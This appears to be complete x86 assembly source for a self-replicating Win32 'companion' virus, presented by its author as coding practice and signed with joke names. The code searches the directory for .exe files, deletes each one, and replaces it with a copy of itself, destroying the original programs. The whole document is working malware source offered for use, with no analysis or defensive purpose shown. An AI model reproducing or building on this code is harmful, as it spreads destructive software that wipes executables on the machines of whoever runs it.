.386P Locals jumps .Model Flat ,StdCall ;Simple win32 companion Self Replicating Automation ;Jheronimus Bolch - Meta Informatic Syndrome Patients ;code is shit but it's simple-hope so.... extrn ExitProcess : PROC extrn GetCommandLineA : PROC extrn MessageBoxA : PROC extrn MoveFileA:PROC extrn FindFirstFileA:Proc extrn FindNextFileA:Proc extrn CopyFileA:PROC extrn DeleteFileA:PROC .Data text db "bU-hahahaahahahaha",13,10 ; db "The companion is getting alive...",0 caption db "Hell0",0 keimeno db "simple companion w32 virus",13,10 "basically for assembly coding practice",13,10 "Hope you'll enjoy the code...",13,10 "w32.shithead",13,10 "by Jack Daniels",0 psaxnogia db "*.exe",0 search_handle dd 0 myname db 40h dup (0) newname db 40h dup (0) search_data db 318 dup (0) .Code Main: call GetCommandLineA mov ecx,0 jampo: mov bl,byte ptr[eax+1] mov byte ptr[myname+ecx],bl inc eax inc ecx cmp bl,22h jne jampo dec ecx mov byte ptr[myname+ecx],0 push offset search_data push offset psaxnogia call FindFirstFileA cmp eax,-1 je exit mov search_handle,eax call infect more: mov eax,[search_handle] push offset search_data push eax call FindNextFileA cmp eax,0 je exit cmp byte ptr[search_data+44],"_" je exit call infect jmp more infect: mov ecx,0 mov byte ptr[newname+ecx],"_" newnamecreation: inc ecx mov bl,byte ptr[search_data+44+ecx-1] mov byte ptr[newname+ecx],bl cmp bl,0 jne newnamecreation push 0 push offset caption push offset newname push 0 call MessageBoxA push offset [search_data+44] call DeleteFileA push 1h push offset [search_data+44] push offset myname call CopyFileA push 1h push offset newname push offset [search_data+44] call CopyFileA ret exit: CALL ExitProcess End Main